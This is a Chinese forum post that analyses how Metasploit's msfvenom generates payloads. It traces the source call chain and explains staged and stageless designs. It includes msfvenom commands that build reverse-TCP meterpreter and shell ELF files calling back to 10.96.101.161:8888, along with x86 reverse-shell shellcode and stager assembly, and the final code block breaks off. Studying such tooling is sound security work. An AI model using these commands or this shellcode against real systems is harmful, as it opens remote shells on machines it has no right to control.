首页
社区
课程
招聘
[原创]metasploit浅析
发表于: 2023-4-29 19:07 16774

[原创]metasploit浅析

2023-4-29 19:07
16774

架构图如下所示:
Metasploit 结构

其中metasploit最重要的部分为模块部分,,分别为辅助模块(Auxiliary)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)以及免杀模块(Evasion)。其功能如下:

辅助模块:通过对网络服务的扫描,收集登陆密码或者 Fuzz 测试发掘漏洞等方式取得目标系统丰富的情报信息,从而发起精准攻击。

渗透攻击模块:包括利用已发现的安全漏洞等方式对目标发起攻击,执行攻击载荷的主动攻击和利用伪造的 office 文档或浏览器等方式使目标上的用户自动触发执行攻击载荷的被动攻击。

空指令模块:跟随渗透攻击模块成功后的造成任何实质影响的空操作或者无关操作指令的无效植入代码,目的保证后面的攻击载荷能顺利执行。常见的在 x86 CPU 体系架构平台上的操作码是 0x90。

攻击载荷模块:跟随渗透攻击模块成功后在目标系统运行的有效植入代码,目标是建立连接,得到目标 shell。

编码器模块:同空指令模块作用相似,保证不会受到漏洞参数或者目标系统类型的限制导致无法顺利执行。

后渗透攻击模块:在获取到目标 shell 之后,进行后渗透攻击,比如获取信息,跳板甚至内网渗透。

免杀模块:作为 V5 版本新增的功能,只包含对 windows defender 类型。免杀方式较为简单,申请内存,拷贝攻击载荷,执行攻击载荷。

基于模块功能可以得到如下图所示攻击链:

攻击链

一个完整的msf攻击过程会包括 payloads生成,编码(可选),添加空指令,生成有效载荷并执行攻击。获取到shell后可使用后渗透模块以及辅助模块协助渗透等等。而其中最重要的功能则是攻击载荷模块也就是payloads的生成模块。

可以分为两类:stage和stageless,其中:

payload生成使用msfvenom作为入口函数。

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > meterpreter_reverse_tcp为例。

首先调用msfvenom中的venom_generator.generate_payload函数。

跟进对应函数,路径为payload_generator.rb。通过一系列参数检查。然后调用generate_raw_payload函数。

跟进,调用payload_module.generate_simple,路径为simple\payload.rb,调用Msf::Simple::Payload.generate_simple(self, opts, &block)

跟进,调用EncodedPayload.create,路径为encoded_payload.rb,调用generate函数。

跟进,调用generate_raw(),然后调用generate_complete函数。

跟进,调用apply_prepends(generate)。这里根据generate选择对应的生成函数。在本例中,选择的是meterpreter_reverse_tcp.rb

跟进,查看对应的 generate函数,调用MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec

跟进 generate_config,根据 datastore设定对应的config文件,然后调用Mettle.new()函数实例化对象,调用to_binary函数生成对应的bin文件。

to_binary函数如下:

add_args函数如下:

然后调用payload_generator中的format_payload(raw_payload)得到最终的payload可执行程序。

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp 为例,前面都同上,在调用apply_prepends(generate)时本例中,选择的是shell_reverse_tcp.rb
其完整内容如下:

与上文不同的是这边生成的是一段shellcode,在后面的format_payload(raw_payload)阶段,会将shellcode插入到一个ELF中,并修改对应的偏移,得到最后完整的可执行elf文件。
在本例中,templates路径为/data/templates/template_x86_linux.bin

-p linux/x86/meterpreter/reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > reverse_tcp 为例: 在在调用apply_prepends(generate)时本例中,选择的是reverse_tcp_x86.rb。和前述不同的是,对应代码不是在modules目录下,而是在core目录下。
最终生成的shellcode如下:

在第一阶段建立连接后,攻击机会向靶机投递第二阶段payload。生成对应的mettle.bin并发送到靶机。在攻击机上启动监听之后,靶机上执行stager,会马上建立一个socket连接,同时msf启动一个新的线程,准备生成stage并投递给靶机。中间还会生成一段midstage,其内容如下:

之后则是mettle.bin的发送流程。略过。

使用msfvenom生成payload : msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp

跟进payload = venom_generator.generate_payload

跟进raw_payload生成函数raw_payload = generate_raw_payload

跟进generate_simple

再跟进

再跟进create

跟进 generate,

再跟进generate_raw()

最后到generate_complete

这个位置的generate为一个对象,在本例中,最后指向的是shell_reverse_tcp.rb
将对应的opcode提取出来,生成raw_payload,然后通过format_payload生成对应的elf可执行文件

本文结合msf源码简单分析了msf的payload生成,需要注意的是,msf大部分后渗透阶段的工具都在Post 模块上,但是其调用分析也是类似的,如果对其有兴趣可以详细的学习一下。

 
 
 
 
 
 
 
 
 
 
 
 
#
# Available formats are :process_image, :dylib, :dylib_sha1 and :exec
#
def to_binary(format=:process_image)
  # 读取模板
  bin = self.class.read(@platform, format)
  unless @config.empty?
    # 将配置文件转化为串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` +  "\x00" * (CMDLINE_MAX - cmd_line.length)
    params = generate_argv
    # 将串插入到模板中
    bin = add_args(bin, params)
  end
  bin
end
#
# Available formats are :process_image, :dylib, :dylib_sha1 and :exec
#
def to_binary(format=:process_image)
  # 读取模板
  bin = self.class.read(@platform, format)
  unless @config.empty?
    # 将配置文件转化为串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` +  "\x00" * (CMDLINE_MAX - cmd_line.length)
    params = generate_argv
    # 将串插入到模板中
    bin = add_args(bin, params)
  end
  bin
end
def add_args(bin, params)
      if params[8] != "\x00"
        # 替换对应位置内容,查询知应为rdata区。
        bin.sub(CMDLINE_SIG +  ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params)
      else
        bin
      end
    end
def add_args(bin, params)
      if params[8] != "\x00"
        # 替换对应位置内容,查询知应为rdata区。
        bin.sub(CMDLINE_SIG +  ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params)
      else
        bin
      end
    end
 
"\x31\xdb"             + #   xor ebx,ebx
"\xf7\xe3"             + #   mul ebx
"\x53"                 + #   push ebx
"\x43"                 + #   inc ebx
"\x53"                 + #   push ebx
"\x6a\x02"             + #   push byte +0x2
"\x89\xe1"             + #   mov ecx,esp
"\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
"\xcd\x80"             + #   int 0x80
"\x93"                 + #   xchg eax,ebx
"\x59"                 + #   pop ecx
"\xb0\x3f"             + #   mov al,0x3f (sys_dup2)
"\xcd\x80"             + #   int 0x80
"\x49"                 + #   dec ecx
"\x79\xf9"             + #   jns 0x11
"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + #   push ip addr
"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + #   push port
"\x89\xe1"             + #   mov ecx,esp
"\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
"\x50"                 + #   push eax
"\x51"                 + #   push ecx
"\x53"                 + #   push ebx
"\xb3\x03"             + #   mov bl,0x3
"\x89\xe1"             + #   mov ecx,esp
"\xcd\x80"             + #   int 0x80
"\x52"                 + #   push edx
 
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(4).map do |word|
  "\x68" + word.reverse.pack('C*')
end.join +
 
"\x89\xe3"             + #   mov ebx,esp
"\x52"                 + #   push edx
"\x53"                 + #   push ebx
"\x89\xe1"             + #   mov ecx,esp
"\xb0\x0b"             + #   mov al,0xb (execve)
"\xcd\x80"              #   int 0x80
"\x31\xdb"             + #   xor ebx,ebx
"\xf7\xe3"             + #   mul ebx
"\x53"                 + #   push ebx
"\x43"                 + #   inc ebx
"\x53"                 + #   push ebx
"\x6a\x02"             + #   push byte +0x2
"\x89\xe1"             + #   mov ecx,esp
"\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
"\xcd\x80"             + #   int 0x80
"\x93"                 + #   xchg eax,ebx
"\x59"                 + #   pop ecx
"\xb0\x3f"             + #   mov al,0x3f (sys_dup2)
"\xcd\x80"             + #   int 0x80
"\x49"                 + #   dec ecx
"\x79\xf9"             + #   jns 0x11
"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + #   push ip addr
"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + #   push port
"\x89\xe1"             + #   mov ecx,esp
"\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
"\x50"                 + #   push eax
"\x51"                 + #   push ecx
"\x53"                 + #   push ebx
"\xb3\x03"             + #   mov bl,0x3
"\x89\xe1"             + #   mov ecx,esp
"\xcd\x80"             + #   int 0x80
"\x52"                 + #   push edx
 
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(4).map do |word|
  "\x68" + word.reverse.pack('C*')
end.join +
 
"\x89\xe3"             + #   mov ebx,esp
"\x52"                 + #   push edx
"\x53"                 + #   push ebx
"\x89\xe1"             + #   mov ecx,esp
"\xb0\x0b"             + #   mov al,0xb (execve)
"\xcd\x80"              #   int 0x80
  asm = %Q^
      push #{retry_count}        ; retry counter
      pop esi
    create_socket:
      xor ebx, ebx
      mul ebx
      push ebx
      inc ebx
      push ebx
      push 0x2
      mov al, 0x66
      mov ecx, esp
      int 0x80                   ; sys_socketcall (socket())
      xchg eax, edi              ; store the socket in edi
 
    set_address:
      pop ebx                    ; set ebx back to zero
      push #{encoded_host}
      push #{encoded_port}
      mov ecx, esp
 
    try_connect:
      push 0x66
      pop eax
      push eax
      push ecx
      push edi
      mov ecx, esp
      inc ebx
      int 0x80                   ; sys_socketcall (connect())
      test eax, eax
      jns mprotect
 
    handle_failure:
      dec esi
      jz failed
      push 0xa2
      pop eax
      push 0x#{sleep_nanoseconds.to_s(16)}
      push 0x#{sleep_seconds.to_s(16)}
      mov ebx, esp
      xor ecx, ecx
      int 0x80                   ; sys_nanosleep
      test eax, eax
      jns create_socket
      jmp failed
  ^
 
  asm << asm_send_uuid if include_send_uuid
 
  asm << %Q^
    mprotect:
      mov dl, 0x#{mprotect_flags.to_s(16)}
      mov ecx, 0x1000
      mov ebx, esp
      shr ebx, 0xc
      shl ebx, 0xc
      mov al, 0x7d
      int 0x80                  ; sys_mprotect
      test eax, eax
      js failed
 
    recv:
      pop ebx
      mov ecx, esp
      cdq
      mov #{read_reg},  0x#{read_length.to_s(16)}
      mov al, 0x3
      int 0x80                  ; sys_read (recv())
      test eax, eax
      js failed
      jmp ecx
 
    failed:
      mov eax, 0x1
      mov ebx, 0x1              ; set exit status to 1
      int 0x80                  ; sys_exit
  ^
 
  asm
end
  asm = %Q^
      push #{retry_count}        ; retry counter
      pop esi
    create_socket:
      xor ebx, ebx
      mul ebx
      push ebx
      inc ebx
      push ebx
      push 0x2
      mov al, 0x66
      mov ecx, esp
      int 0x80                   ; sys_socketcall (socket())
      xchg eax, edi              ; store the socket in edi
 
    set_address:
      pop ebx                    ; set ebx back to zero
      push #{encoded_host}
      push #{encoded_port}
      mov ecx, esp
 
    try_connect:
      push 0x66
      pop eax
      push eax
      push ecx
      push edi
      mov ecx, esp
      inc ebx
      int 0x80                   ; sys_socketcall (connect())
      test eax, eax
      jns mprotect
 
    handle_failure:
      dec esi
      jz failed
      push 0xa2
      pop eax
      push 0x#{sleep_nanoseconds.to_s(16)}
      push 0x#{sleep_seconds.to_s(16)}
      mov ebx, esp
      xor ecx, ecx
      int 0x80                   ; sys_nanosleep
      test eax, eax
      jns create_socket
      jmp failed
  ^
 
  asm << asm_send_uuid if include_send_uuid
 
  asm << %Q^
    mprotect:
      mov dl, 0x#{mprotect_flags.to_s(16)}
      mov ecx, 0x1000
      mov ebx, esp
      shr ebx, 0xc
      shl ebx, 0xc
      mov al, 0x7d
      int 0x80                  ; sys_mprotect
      test eax, eax
      js failed
 
    recv:
      pop ebx
      mov ecx, esp
      cdq
      mov #{read_reg},  0x#{read_length.to_s(16)}
      mov al, 0x3
      int 0x80                  ; sys_read (recv())
      test eax, eax
      js failed
      jmp ecx
 
    failed:
      mov eax, 0x1
      mov ebx, 0x1              ; set exit status to 1
      int 0x80                  ; sys_exit
  ^
 
  asm
end
  %(
    push edi                    ; save sockfd
    xor ebx, ebx                ; address
    mov ecx, #{payload.length}  ; length
    mov edx, 7                  ; PROT_READ | PROT_WRITE | PROT_EXECUTE
    mov esi, 34                 ; MAP_PRIVATE | MAP_ANONYMOUS
    xor edi, edi                ; fd
    xor ebp, ebp                ; pgoffset
    mov eax, 192                ; mmap2
    int 0x80                    ; syscall
 
    ; receive mettle process image
    mov edx, eax                ; save buf addr for next code block
    pop ebx                     ; sockfd
    push 0x00000100             ; MSG_WAITALL
    push #{payload.length}      ; size
    push eax                    ; buf
    push ebx                    ; sockfd
    mov ecx, esp                ; arg array
    mov ebx, 10                 ; SYS_READ
    mov eax, 102                ; sys_socketcall
    int 0x80                    ; syscall
 
    ; setup stack
    pop edi
    xor ebx, ebx
    and esp, 0xfffffff0         ; align esp
    add esp, 40
    mov eax, 109
    push eax
    mov esi, esp
    push ebx                    ; NULL
    push ebx                    ; AT_NULL
    push edx                    ; mmap buffer
    mov eax, 7
    push eax                    ; AT_BASE
    push ebx                    ; end of ENV
    push ebx                    ; NULL
    push edi                    ; sockfd
    push esi                    ; m
    mov eax, 2
    push eax                    ; argc
 
    ; down the rabbit hole
    mov eax, #{entry_offset}
    add edx, eax
    jmp edx
  )
end
  %(
    push edi                    ; save sockfd
    xor ebx, ebx                ; address
    mov ecx, #{payload.length}  ; length
    mov edx, 7                  ; PROT_READ | PROT_WRITE | PROT_EXECUTE
    mov esi, 34                 ; MAP_PRIVATE | MAP_ANONYMOUS
    xor edi, edi                ; fd
    xor ebp, ebp                ; pgoffset
    mov eax, 192                ; mmap2
    int 0x80                    ; syscall
 
    ; receive mettle process image
    mov edx, eax                ; save buf addr for next code block
    pop ebx                     ; sockfd
    push 0x00000100             ; MSG_WAITALL
    push #{payload.length}      ; size
    push eax                    ; buf
    push ebx                    ; sockfd
    mov ecx, esp                ; arg array
    mov ebx, 10                 ; SYS_READ
    mov eax, 102                ; sys_socketcall
    int 0x80                    ; syscall
 
    ; setup stack
    pop edi
    xor ebx, ebx
    and esp, 0xfffffff0         ; align esp
    add esp, 40
    mov eax, 109
    push eax
    mov esi, esp
    push ebx                    ; NULL
    push ebx                    ; AT_NULL
    push edx                    ; mmap buffer
    mov eax, 7
    push eax                    ; AT_BASE
    push ebx                    ; end of ENV
    push ebx                    ; NULL
    push edi                    ; sockfd
    push esi                    ; m
    mov eax, 2

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//